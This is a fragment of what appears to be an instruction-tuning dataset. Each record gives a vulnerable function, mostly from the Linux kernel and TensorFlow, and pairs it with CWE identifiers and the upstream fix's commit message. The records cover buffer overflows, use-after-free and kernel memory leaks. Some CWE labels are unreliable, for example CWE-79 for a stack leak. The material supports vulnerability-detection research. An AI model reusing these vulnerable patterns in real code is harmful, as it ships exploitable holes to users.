+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: int wvlan_set_station_nickname(struct net_device *dev,\n\t\t      struct iw_request_info *info,\n\t\t      union iwreq_data *wrqu,\n\t\t      char *extra)\n{\n\tstruct wl_private *lp = wl_priv(dev);\n\tunsigned long flags;\n\tint         ret = 0;\n\t/*------------------------------------------------------------------------*/\n\n\n\tDBG_FUNC(\"wvlan_set_station_nickname\");\n\tDBG_ENTER(DbgInfo);\n\n\twl_lock(lp, &flags);\n\n\tmemset(lp->StationName, 0, sizeof(lp->StationName));\n\n\tmemcpy(lp->StationName, extra, wrqu->data.length);\n\n\t/* Commit the adapter parameters */\n\twl_apply(lp);\n\twl_unlock(lp, &flags);\n\n\tDBG_LEAVE(DbgInfo);\n\treturn ret;\n} /* wvlan_set_station_nickname */ ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-119', 'CWE-787'], 'message': 'staging: wlags49_h2: buffer overflow setting station name\n\nWe need to check the length parameter before doing the memcpy().  I've\nactually changed it to strlcpy() as well so that it's NUL terminated.\n\nYou need CAP_NET_ADMIN to trigger these so it's not the end of the\nworld.\n\nReported-by: Nico Golde \nReported-by: Fabian Yamaguchi \nSigned-off-by: Dan Carpenter \nCc: stable@kernel.org\nSigned-off-by: Linus Torvalds '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static void vapic_exit(struct kvm_vcpu *vcpu)\n{\n\tstruct kvm_lapic *apic = vcpu->arch.apic;\n\tint idx;\n\n\tif (!apic || !apic->vapic_addr)\n\t\treturn;\n\n\tidx = srcu_read_lock(&vcpu->kvm->srcu);\n\tkvm_release_page_dirty(apic->vapic_page);\n\tmark_page_dirty(vcpu->kvm, apic->vapic_addr >> PAGE_SHIFT);\n\tsrcu_read_unlock(&vcpu->kvm->srcu, idx);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-20'], 'message': 'KVM: x86: Convert vapic synchronization to _cached functions (CVE-2013-6368)\n\nIn kvm_lapic_sync_from_vapic and kvm_lapic_sync_to_vapic there is the\npotential to corrupt kernel memory if userspace provides an address that\nis at the end of a page.  This patches concerts those functions to use\nkvm_write_guest_cached and kvm_read_guest_cached.  It also checks the\nvapic_address specified by userspace during ioctl processing and returns\nan error to userspace if the address is not a valid GPA.\n\nThis is generally not guest triggerable, because the required write is\ndone by firmware that runs before the guest.  Also, it only affects AMD\nprocessors and oldish Intel that do not have the FlexPriority feature\n(unless you disable FlexPriority, of course; then newer processors are\nalso affected).\n\nFixes: b93463aa59d6 ('KVM: Accelerated apic support')\n\nReported-by: Andrew Honig \nCc: stable@vger.kernel.org\nSigned-off-by: Andrew Honig \nSigned-off-by: Paolo Bonzini '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: int rdma_listen(struct rdma_cm_id *id, int backlog)\n{\n\tstruct rdma_id_private *id_priv =\n\t\tcontainer_of(id, struct rdma_id_private, id);\n\tint ret;\n\n\tif (!cma_comp_exch(id_priv, RDMA_CM_ADDR_BOUND, RDMA_CM_LISTEN)) {\n\t\t/* For a well behaved ULP state will be RDMA_CM_IDLE */\n\t\tid->route.addr.src_addr.ss_family = AF_INET;\n\t\tret = rdma_bind_addr(id, cma_src_addr(id_priv));\n\t\tif (ret)\n\t\t\treturn ret;\n\t\tif (WARN_ON(!cma_comp_exch(id_priv, RDMA_CM_ADDR_BOUND,\n\t\t\t\t\t   RDMA_CM_LISTEN)))\n\t\t\treturn -EINVAL;\n\t}\n\n\t/*\n\t * Once the ID reaches RDMA_CM_LISTEN it is not allowed to be reusable\n\t * any more, and has to be unique in the bind list.\n\t */\n\tif (id_priv->reuseaddr) {\n\t\tmutex_lock(&lock);\n\t\tret = cma_check_port(id_priv->bind_list, id_priv, 0);\n\t\tif (!ret)\n\t\t\tid_priv->reuseaddr = 0;\n\t\tmutex_unlock(&lock);\n\t\tif (ret)\n\t\t\tgoto err;\n\t}\n\n\tid_priv->backlog = backlog;\n\tif (id_priv->cma_dev) {\n\t\tif (rdma_cap_ib_cm(id->device, 1)) {\n\t\t\tret = cma_ib_listen(id_priv);\n\t\t\tif (ret)\n\t\t\t\tgoto err;\n\t\t} else if (rdma_cap_iw_cm(id->device, 1)) {\n\t\t\tret = cma_iw_listen(id_priv, backlog);\n\t\t\tif (ret)\n\t\t\t\tgoto err;\n\t\t} else {\n\t\t\tret = -ENOSYS;\n\t\t\tgoto err;\n\t\t}\n\t} else {\n\t\tret = cma_listen_on_all(id_priv);\n\t\tif (ret)\n\t\t\tgoto err;\n\t}\n\n\treturn 0;\nerr:\n\tid_priv->backlog = 0;\n\t/*\n\t * All the failure paths that lead here will not allow the req_handler's\n\t * to have run.\n\t */\n\tcma_comp_exch(id_priv, RDMA_CM_LISTEN, RDMA_CM_ADDR_BOUND);\n\treturn ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-416'], 'message': 'RDMA/cma: Do not change route.addr.src_addr.ss_family\n\nIf the state is not idle then rdma_bind_addr() will immediately fail and\nno change to global state should happen.\n\nFor instance if the state is already RDMA_CM_LISTEN then this will corrupt\nthe src_addr and would cause the test in cma_cancel_operation():\n\n\t\tif (cma_any_addr(cma_src_addr(id_priv)) && !id_priv->cma_dev)\n\nTo view a mangled src_addr, eg with a IPv6 loopback address but an IPv4\nfamily, failing the test.\n\nThis would manifest as this trace from syzkaller:\n\n  BUG: KASAN: use-after-free in __list_add_valid+0x93/0xa0 lib/list_debug.c:26\n  Read of size 8 at addr ffff8881546491e0 by task syz-executor.1/32204\n\n  CPU: 1 PID: 32204 Comm: syz-executor.1 Not tainted 5.12.0-rc8-syzkaller #0\n  Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 01/01/2011\n  Call Trace:\n   __dump_stack lib/dump_stack.c:79 [inline]\n   dump_stack+0x141/0x1d7 lib/dump_stack.c:120\n   print_address_description.constprop.0.cold+0x5b/0x2f8 mm/kasan/report.c:232\n   __kasan_report mm/kasan/report.c:399 [inline]\n   kasan_report.cold+0x7c/0xd8 mm/kasan/report.c:416\n   __list_add_valid+0x93/0xa0 lib/list_debug.c:26\n   __list_add include/linux/list.h:67 [inline]\n   list_add_tail include/linux/list.h:100 [inline]\n   cma_listen_on_all drivers/infiniband/core/cma.c:2557 [inline]\n   rdma_listen+0x787/0xe00 drivers/infiniband/core/cma.c:3751\n   ucma_listen+0x16a/0x210 drivers/infiniband/core/ucma.c:1102\n   ucma_write+0x259/0x350 drivers/infiniband/core/ucma.c:1732\n   vfs_write+0x28e/0xa30 fs/read_write.c:603\n   ksys_write+0x1ee/0x250 fs/read_write.c:658\n   do_syscall_64+0x2d/0x70 arch/x86/entry/common.c:46\n   entry_SYSCALL_64_after_hwframe+0x44/0xae\n\nWhich is indicating that an rdma_id_private was destroyed without doing\ncma_cancel_listens().\n\nInstead of trying to re-use the src_addr memory to indirectly create an\nany address build one explicitly on the stack and bind to that as any\nother normal flow would do.\n\nLink: https://lore.kernel.org/r/0-v1-9fbb33f5e201+2a-cma_listen_jgg@nvidia.com\nCc: stable@vger.kernel.org\nFixes: 732d41c545bb (\"RDMA/cma: Make the locking for automatic state transition more clear\")\nReported-by: syzbot+6bb0528b13611047209c@syzkaller.appspotmail.com\nTested-by: Hao Sun \nReviewed-by: Leon Romanovsky \nSigned-off-by: Jason Gunthorpe '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int perf_trace_event_perm(struct ftrace_event_call *tp_event,\n\t\t\t\t struct perf_event *p_event)\n{\n\t/* The ftrace function trace is allowed only for root. */\n\tif (ftrace_event_is_function(tp_event) &&\n\t    perf_paranoid_kernel() && !capable(CAP_SYS_ADMIN))\n\t\treturn -EPERM;\n\n\t/* No tracing, just counting, so no obvious leak */\n\tif (!(p_event->attr.sample_type & PERF_SAMPLE_RAW))\n\t\treturn 0;\n\n\t/* Some events are ok to be traced by non-root users... */\n\tif (p_event->attach_state == PERF_ATTACH_TASK) {\n\t\tif (tp_event->flags & TRACE_EVENT_FL_CAP_ANY)\n\t\t\treturn 0;\n\t}\n\n\t/*\n\t * ...otherwise raw tracepoint data can be a severe data leak,\n\t * only allow root to have these.\n\t */\n\tif (perf_paranoid_tracepoint_raw() && !capable(CAP_SYS_ADMIN))\n\t\treturn -EPERM;\n\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-284', 'CWE-264'], 'message': 'perf/ftrace: Fix paranoid level for enabling function tracer\n\nThe current default perf paranoid level is \"1\" which has\n\"perf_paranoid_kernel()\" return false, and giving any operations that\nuse it, access to normal users. Unfortunately, this includes function\ntracing and normal users should not be allowed to enable function\ntracing by default.\n\nThe proper level is defined at \"-1\" (full perf access), which\n\"perf_paranoid_tracepoint_raw()\" will only give access to. Use that\ncheck instead for enabling function tracing.\n\nReported-by: Dave Jones \nReported-by: Vince Weaver \nTested-by: Vince Weaver \nCc: Peter Zijlstra \nCc: Ingo Molnar \nCc: Jiri Olsa \nCc: Frederic Weisbecker \nCc: stable@vger.kernel.org # 3.4+\nCVE: CVE-2013-2930\nFixes: ced39002f5ea (\"ftrace, perf: Add support to use function tracepoint in perf\")\nSigned-off-by: Steven Rostedt '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: CodingReturnValue VP8ComponentDecoder::decode_chunk(UncompressedComponents * const colldata)\n{\n    mux_splicer.init(spin_workers_);\n    /* cmpc is a global variable with the component count */\n\n\n    /* construct 4x4 VP8 blocks to hold 8x8 JPEG blocks */\n    if ( thread_state_[0] == nullptr || thread_state_[0]->context_[0].isNil() ) {\n        /* first call */\n        BlockBasedImagePerChannel framebuffer;\n        framebuffer.memset(0);\n        for (size_t i = 0; i < framebuffer.size() && int( i ) < colldata->get_num_components(); ++i) {\n            framebuffer[i] = &colldata->full_component_write((BlockType)i);\n        }\n        Sirikata::Array1d, MAX_NUM_THREADS> all_framebuffers;\n        for (size_t i = 0; i < all_framebuffers.size(); ++i) {\n            all_framebuffers[i] = framebuffer;\n        }\n        size_t num_threads_needed = initialize_decoder_state(colldata,\n                                                             all_framebuffers).size();\n\n\n        for (size_t i = 0;i < num_threads_needed; ++i) {\n            map_logical_thread_to_physical_thread(i, i);\n        }\n        for (size_t i = 0;i < num_threads_needed; ++i) {\n            initialize_thread_id(i, i, framebuffer);\n            if (!do_threading_) {\n                break;\n            }\n        }\n        if (num_threads_needed > NUM_THREADS || num_threads_needed == 0) {\n            return CODING_ERROR;\n        }\n    }\n    if (do_threading_) {\n        for (unsigned int thread_id = 0; thread_id < NUM_THREADS; ++thread_id) {\n            unsigned int cur_spin_worker = thread_id;\n            spin_workers_[cur_spin_worker].work\n                = std::bind(worker_thread,\n                            thread_state_[thread_id],\n                            thread_id,\n                            colldata,\n                            mux_splicer.thread_target,\n                            getWorker(cur_spin_worker),\n                            &send_to_actual_thread_state);\n            spin_workers_[cur_spin_worker].activate_work();\n        }\n        flush();\n        for (unsigned int thread_id = 0; thread_id < NUM_THREADS; ++thread_id) {\n            unsigned int cur_spin_worker = thread_id;\n            TimingHarness::timing[thread_id][TimingHarness::TS_THREAD_WAIT_STARTED] = TimingHarness::get_time_us();\n            spin_workers_[cur_spin_worker].main_wait_for_done();\n            TimingHarness::timing[thread_id][TimingHarness::TS_THREAD_WAIT_FINISHED] = TimingHarness::get_time_us();\n        }\n        // join on all threads\n    } else {\n        if (virtual_thread_id_ != -1) {\n            TimingHarness::timing[0][TimingHarness::TS_ARITH_STARTED] = TimingHarness::get_time_us();\n            CodingReturnValue ret = thread_state_[0]->vp8_decode_thread(0, colldata);\n            if (ret == CODING_PARTIAL) {\n                return ret;\n            }\n            TimingHarness::timing[0][TimingHarness::TS_ARITH_FINISHED] = TimingHarness::get_time_us();\n        }\n        // wait for \"threads\"\n        virtual_thread_id_ += 1; // first time's a charm\n        for (unsigned int thread_id = virtual_thread_id_; thread_id < NUM_THREADS; ++thread_id, ++virtual_thread_id_) {\n            BlockBasedImagePerChannel framebuffer;\n            framebuffer.memset(0);\n            for (size_t i = 0; i < framebuffer.size() && int( i ) < colldata->get_num_components(); ++i) {\n                framebuffer[i] = &colldata->full_component_write((BlockType)i);\n            }\n\n            initialize_thread_id(thread_id, 0, framebuffer);\n            thread_state_[0]->bool_decoder_.init(new VirtualThreadPacketReader(thread_id, &mux_reader_, &mux_splicer));\n            TimingHarness::timing[thread_id][TimingHarness::TS_ARITH_STARTED] = TimingHarness::get_time_us();\n            CodingReturnValue ret;\n            if ((ret = thread_state_[0]->vp8_decode_thread(0, colldata)) == CODING_PARTIAL) {\n                return ret;\n            }\n            TimingHarness::timing[thread_id][TimingHarness::TS_ARITH_FINISHED] = TimingHarness::get_time_us();\n        }\n    }\n    TimingHarness::timing[0][TimingHarness::TS_JPEG_RECODE_STARTED] = TimingHarness::get_time_us();\n    for (int component = 0; component < colldata->get_num_components(); ++component) {\n        colldata->worker_mark_cmp_finished((BlockType)component);\n    }\n    colldata->worker_update_coefficient_position_progress( 64 );\n    colldata->worker_update_bit_progress( 16 );\n    write_byte_bill(Billing::DELIMITERS, true, mux_reader_.getOverhead());\n    return CODING_DONE;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-1187'], 'message': 'fix #87 : always check that threads_required set up the appropriate number of threads---fire off nop functions on unused threads for consistency'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int packet_recvmsg(struct kiocb *iocb, struct socket *sock,\n\t\t\t  struct msghdr *msg, size_t len, int flags)\n{\n\tstruct sock *sk = sock->sk;\n\tstruct sk_buff *skb;\n\tint copied, err;\n\tstruct sockaddr_ll *sll;\n\tint vnet_hdr_len = 0;\n\n\terr = -EINVAL;\n\tif (flags & ~(MSG_PEEK|MSG_DONTWAIT|MSG_TRUNC|MSG_CMSG_COMPAT|MSG_ERRQUEUE))\n\t\tgoto out;\n\n#if 0\n\t/* What error should we return now? EUNATTACH? */\n\tif (pkt_sk(sk)->ifindex < 0)\n\t\treturn -ENODEV;\n#endif\n\n\tif (flags & MSG_ERRQUEUE) {\n\t\terr = packet_recv_error(sk, msg, len);\n\t\tgoto out;\n\t}\n\n\t/*\n\t *\tCall the generic datagram receiver. This handles all sorts\n\t *\tof horrible races and re-entrancy so we can forget about it\n\t *\tin the protocol layers.\n\t *\n\t *\tNow it will return ENETDOWN, if device have just gone down,\n\t *\tbut then it will block.\n\t */\n\n\tskb = skb_recv_datagram(sk, flags, flags & MSG_DONTWAIT, &err);\n\n\t/*\n\t *\tAn error occurred so return it. Because skb_recv_datagram()\n\t *\thandles the blocking we don't see and worry about blocking\n\t *\tretries.\n\t */\n\n\tif (skb == NULL)\n\t\tgoto out;\n\n\tif (pkt_sk(sk)->has_vnet_hdr) {\n\t\tstruct virtio_net_hdr vnet_hdr = { 0 };\n\n\t\terr = -EINVAL;\n\t\tvnet_hdr_len = sizeof(vnet_hdr);\n\t\tif (len < vnet_hdr_len)\n\t\t\tgoto out_free;\n\n\t\tlen -= vnet_hdr_len;\n\n\t\tif (skb_is_gso(skb)) {\n\t\t\tstruct skb_shared_info *sinfo = skb_shinfo(skb);\n\n\t\t\t/* This is a hint as to how much should be linear. */\n\t\t\tvnet_hdr.hdr_len = skb_headlen(skb);\n\t\t\tvnet_hdr.gso_size = sinfo->gso_size;\n\t\t\tif (sinfo->gso_type & SKB_GSO_TCPV4)\n\t\t\t\tvnet_hdr.gso_type = VIRTIO_NET_HDR_GSO_TCPV4;\n\t\t\telse if (sinfo->gso_type & SKB_GSO_TCPV6)\n\t\t\t\tvnet_hdr.gso_type = VIRTIO_NET_HDR_GSO_TCPV6;\n\t\t\telse if (sinfo->gso_type & SKB_GSO_UDP)\n\t\t\t\tvnet_hdr.gso_type = VIRTIO_NET_HDR_GSO_UDP;\n\t\t\telse if (sinfo->gso_type & SKB_GSO_FCOE)\n\t\t\t\tgoto out_free;\n\t\t\telse\n\t\t\t\tBUG();\n\t\t\tif (sinfo->gso_type & SKB_GSO_TCP_ECN)\n\t\t\t\tvnet_hdr.gso_type |= VIRTIO_NET_HDR_GSO_ECN;\n\t\t} else\n\t\t\tvnet_hdr.gso_type = VIRTIO_NET_HDR_GSO_NONE;\n\n\t\tif (skb->ip_summed == CHECKSUM_PARTIAL) {\n\t\t\tvnet_hdr.flags = VIRTIO_NET_HDR_F_NEEDS_CSUM;\n\t\t\tvnet_hdr.csum_start = skb_checksum_start_offset(skb);\n\t\t\tvnet_hdr.csum_offset = skb->csum_offset;\n\t\t} /* else everything is zero */\n\n\t\terr = memcpy_toiovec(msg->msg_iov, (void *)&vnet_hdr,\n\t\t\t\t     vnet_hdr_len);\n\t\tif (err < 0)\n\t\t\tgoto out_free;\n\t}\n\n\t/*\n\t *\tIf the address length field is there to be filled in, we fill\n\t *\tit in now.\n\t */\n\n\tsll = &PACKET_SKB_CB(skb)->sa.ll;\n\tif (sock->type == SOCK_PACKET)\n\t\tmsg->msg_namelen = sizeof(struct sockaddr_pkt);\n\telse\n\t\tmsg->msg_namelen = sll->sll_halen + offsetof(struct sockaddr_ll, sll_addr);\n\n\t/*\n\t *\tYou lose any data beyond the buffer you gave. If it worries a\n\t *\tuser program they can ask the device for its MTU anyway.\n\t */\n\n\tcopied = skb->len;\n\tif (copied > len) {\n\t\tcopied = len;\n\t\tmsg->msg_flags |= MSG_TRUNC;\n\t}\n\n\terr = skb_copy_datagram_iovec(skb, 0, msg->msg_iov, copied);\n\tif (err)\n\t\tgoto out_free;\n\n\tsock_recv_ts_and_drops(msg, sk, skb);\n\n\tif (msg->msg_name)\n\t\tmemcpy(msg->msg_name, &PACKET_SKB_CB(skb)->sa,\n\t\t       msg->msg_namelen);\n\n\tif (pkt_sk(sk)->auxdata) {\n\t\tstruct tpacket_auxdata aux;\n\n\t\taux.tp_status = TP_STATUS_USER;\n\t\tif (skb->ip_summed == CHECKSUM_PARTIAL)\n\t\t\taux.tp_status |= TP_STATUS_CSUMNOTREADY;\n\t\taux.tp_len = PACKET_SKB_CB(skb)->origlen;\n\t\taux.tp_snaplen = skb->len;\n\t\taux.tp_mac = 0;\n\t\taux.tp_net = skb_network_offset(skb);\n\t\tif (vlan_tx_tag_present(skb)) {\n\t\t\taux.tp_vlan_tci = vlan_tx_tag_get(skb);\n\t\t\taux.tp_status |= TP_STATUS_VLAN_VALID;\n\t\t} else {\n\t\t\taux.tp_vlan_tci = 0;\n\t\t}\n\t\tput_cmsg(msg, SOL_PACKET, PACKET_AUXDATA, sizeof(aux), &aux);\n\t}\n\n\t/*\n\t *\tFree or return the buffer as appropriate. Again this\n\t *\thides all the races and re-entrancy issues from us.\n\t */\n\terr = vnet_hdr_len + ((flags&MSG_TRUNC) ? skb->len : copied);\n\nout_free:\n\tskb_free_datagram(sk, skb);\nout:\n\treturn err;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-200', 'CWE-264'], 'message': 'af_packet: prevent information leak\n\nIn 2.6.27, commit 393e52e33c6c2 (packet: deliver VLAN TCI to userspace)\nadded a small information leak.\n\nAdd padding field and make sure its zeroed before copy to user.\n\nSigned-off-by: Eric Dumazet \nCC: Patrick McHardy \nSigned-off-by: David S. Miller '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code:   explicit DataFormatVecPermuteOp(OpKernelConstruction* context)\n      : OpKernel(context) {\n    string src_format;\n    OP_REQUIRES_OK(context, context->GetAttr(\"src_format\", &src_format));\n    string dst_format;\n    OP_REQUIRES_OK(context, context->GetAttr(\"dst_format\", &dst_format));\n    src_format_ = src_format;\n    dst_format_ = dst_format;\n  } ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125'], 'message': 'Validate that `DataFormat*` attributes form a permutation.\n\nThe `src_format` and `dst_format` attributes for the `DataFormatDimMap` and `DataFormatVecPermute` raw ops are supposed to determine a permutation. However, this was not validated and could result in unitialized memory accesses as well as writes outside of bounds and potential crashes.\n\nWhile here, we also test that the format attributes have the needed length, add tests for all validation failure cases, remove unnecessary calls to `strings::StrCat`, and fix a few grammar errors.\n\nThis will be cherry-picked on the supported release branches.\n\nPiperOrigin-RevId: 346135579\nChange-Id: I1c76392382c89ad8f072d5bc93d70669851eb404'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int log_read_rst(struct ntfs_log *log, u32 l_size, bool first,\n\t\t\tstruct restart_info *info)\n{\n\tu32 skip, vbo;\n\tstruct RESTART_HDR *r_page = kmalloc(DefaultLogPageSize, GFP_NOFS);\n\n\tif (!r_page)\n\t\treturn -ENOMEM;\n\n\tmemset(info, 0, sizeof(struct restart_info));\n\n\t/* Determine which restart area we are looking for. */\n\tif (first) {\n\t\tvbo = 0;\n\t\tskip = 512;\n\t} else {\n\t\tvbo = 512;\n\t\tskip = 0;\n\t}\n\n\t/* Loop continuously until we succeed. */\n\tfor (; vbo < l_size; vbo = 2 * vbo + skip, skip = 0) {\n\t\tbool usa_error;\n\t\tu32 sys_page_size;\n\t\tbool brst, bchk;\n\t\tstruct RESTART_AREA *ra;\n\n\t\t/* Read a page header at the current offset. */\n\t\tif (read_log_page(log, vbo, (struct RECORD_PAGE_HDR **)&r_page,\n\t\t\t\t  &usa_error)) {\n\t\t\t/* Ignore any errors. */\n\t\t\tcontinue;\n\t\t}\n\n\t\t/* Exit if the signature is a log record page. */\n\t\tif (r_page->rhdr.sign == NTFS_RCRD_SIGNATURE) {\n\t\t\tinfo->initialized = true;\n\t\t\tbreak;\n\t\t}\n\n\t\tbrst = r_page->rhdr.sign == NTFS_RSTR_SIGNATURE;\n\t\tbchk = r_page->rhdr.sign == NTFS_CHKD_SIGNATURE;\n\n\t\tif (!bchk && !brst) {\n\t\t\tif (r_page->rhdr.sign != NTFS_FFFF_SIGNATURE) {\n\t\t\t\t/*\n\t\t\t\t * Remember if the signature does not\n\t\t\t\t * indicate uninitialized file.\n\t\t\t\t */\n\t\t\t\tinfo->initialized = true;\n\t\t\t}\n\t\t\tcontinue;\n\t\t}\n\n\t\tra = NULL;\n\t\tinfo->valid_page = false;\n\t\tinfo->initialized = true;\n\t\tinfo->vbo = vbo;\n\n\t\t/* Let's check the restart area if this is a valid page. */\n\t\tif (!is_rst_page_hdr_valid(vbo, r_page))\n\t\t\tgoto check_result;\n\t\tra = Add2Ptr(r_page, le16_to_cpu(r_page->ra_off));\n\n\t\tif (!is_rst_area_valid(r_page))\n\t\t\tgoto check_result;\n\n\t\t/*\n\t\t * We have a valid restart page header and restart area.\n\t\t * If chkdsk was run or we have no clients then we have\n\t\t * no more checking to do.\n\t\t */\n\t\tif (bchk || ra->client_idx[1] == LFS_NO_CLIENT_LE) {\n\t\t\tinfo->valid_page = true;\n\t\t\tgoto check_result;\n\t\t}\n\n\t\t/* Read the entire restart area. */\n\t\tsys_page_size = le32_to_cpu(r_page->sys_page_size);\n\t\tif (DefaultLogPageSize != sys_page_size) {\n\t\t\tkfree(r_page);\n\t\t\tr_page = kzalloc(sys_page_size, GFP_NOFS);\n\t\t\tif (!r_page)\n\t\t\t\treturn -ENOMEM;\n\n\t\t\tif (read_log_page(log, vbo,\n\t\t\t\t\t  (struct RECORD_PAGE_HDR **)&r_page,\n\t\t\t\t\t  &usa_error)) {\n\t\t\t\t/* Ignore any errors. */\n\t\t\t\tkfree(r_page);\n\t\t\t\tr_page = NULL;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t}\n\n\t\tif (is_client_area_valid(r_page, usa_error)) {\n\t\t\tinfo->valid_page = true;\n\t\t\tra = Add2Ptr(r_page, le16_to_cpu(r_page->ra_off));\n\t\t}\n\ncheck_result:\n\t\t/*\n\t\t * If chkdsk was run then update the caller's\n\t\t * values and return.\n\t\t */\n\t\tif (r_page->rhdr.sign == NTFS_CHKD_SIGNATURE) {\n\t\t\tinfo->chkdsk_was_run = true;\n\t\t\tinfo->last_lsn = le64_to_cpu(r_page->rhdr.lsn);\n\t\t\tinfo->restart = true;\n\t\t\tinfo->r_page = r_page;\n\t\t\treturn 0;\n\t\t}\n\n\t\t/*\n\t\t * If we have a valid page then copy the values\n\t\t * we need from it.\n\t\t */\n\t\tif (info->valid_page) {\n\t\t\tinfo->last_lsn = le64_to_cpu(ra->current_lsn);\n\t\t\tinfo->restart = true;\n\t\t\tinfo->r_page = r_page;\n\t\t\treturn 0;\n\t\t}\n\t}\n\n\tkfree(r_page);\n\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-416'], 'message': 'fs/ntfs3: Fix invalid free in log_replay\n\nlog_read_rst() returns ENOMEM error when there is not enough memory.\nIn this case, if info is returned without initialization,\nit attempts to kfree the uninitialized info->r_page pointer. This patch\nmoves the memset initialization code to before log_read_rst() is called.\n\nReported-by: Gerald Lee \nSigned-off-by: Namjae Jeon \nSigned-off-by: Konstantin Komarov '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int override_release(char __user *release, int len)\n{\n\tint ret = 0;\n\tchar buf[65];\n\n\tif (current->personality & UNAME26) {\n\t\tchar *rest = UTS_RELEASE;\n\t\tint ndots = 0;\n\t\tunsigned v;\n\n\t\twhile (*rest) {\n\t\t\tif (*rest == '.' && ++ndots >= 3)\n\t\t\t\tbreak;\n\t\t\tif (!isdigit(*rest) && *rest != '.')\n\t\t\t\tbreak;\n\t\t\trest++;\n\t\t}\n\t\tv = ((LINUX_VERSION_CODE >> 8) & 0xff) + 40;\n\t\tsnprintf(buf, len, \"2.6.%u%s\", v, rest);\n\t\tret = copy_to_user(release, buf, len);\n\t}\n\treturn ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-16', 'CWE-79'], 'message': 'kernel/sys.c: fix stack memory content leak via UNAME26\n\nCalling uname() with the UNAME26 personality set allows a leak of kernel\nstack contents.  This fixes it by defensively calculating the length of\ncopy_to_user() call, making the len argument unsigned, and initializing\nthe stack buffer to zero (now technically unneeded, but hey, overkill).\n\nCVE-2012-0957\n\nReported-by: PaX Team \nSigned-off-by: Kees Cook \nCc: Andi Kleen \nCc: PaX Team \nCc: Brad Spengler \nCc: \nSigned-off-by: Andrew Morton \nSigned-off-by: Linus Torvalds '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code:   void CalculateOutputIndexValueRowID(\n      OpKernelContext* context, const RowPartitionTensor& value_rowids,\n      const vector& parent_output_index,\n      INDEX_TYPE output_index_multiplier, INDEX_TYPE output_size,\n      vector* result) {\n    const INDEX_TYPE index_size = value_rowids.size();\n    result->reserve(index_size);\n    if (index_size == 0) {\n      return;\n    }\n\n    INDEX_TYPE current_output_column = 0;\n    INDEX_TYPE current_value_rowid = value_rowids(0);\n    DCHECK_LT(current_value_rowid, parent_output_index.size());\n    INDEX_TYPE current_output_index = parent_output_index[current_value_rowid];\n    result->push_back(current_output_index);\n    for (INDEX_TYPE i = 1; i < index_size; ++i) {\n      INDEX_TYPE next_value_rowid = value_rowids(i);\n      if (next_value_rowid == current_value_rowid) {\n        if (current_output_index >= 0) {\n          ++current_output_column;\n          if (current_output_column < output_size) {\n            current_output_index += output_index_multiplier;\n          } else {\n            current_output_index = -1;\n          }\n        }\n      } else {\n        current_output_column = 0;\n        current_value_rowid = next_value_rowid;\n        DCHECK_LT(next_value_rowid, parent_output_index.size());\n        current_output_index = parent_output_index[next_value_rowid];\n      }\n      result->push_back(current_output_index);\n    }\n    OP_REQUIRES(context, result->size() == value_rowids.size(),\n                errors::InvalidArgument(\"Invalid row ids.\"));\n  } ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-131', 'CWE-787'], 'message': 'Fix heap OOB / undefined behavior in `RaggedTensorToTensor`\n\nPiperOrigin-RevId: 373244623\nChange-Id: I2d6cbbc8c67b238a8815bf58097f7586d87c54f2'"
+  },
+  {
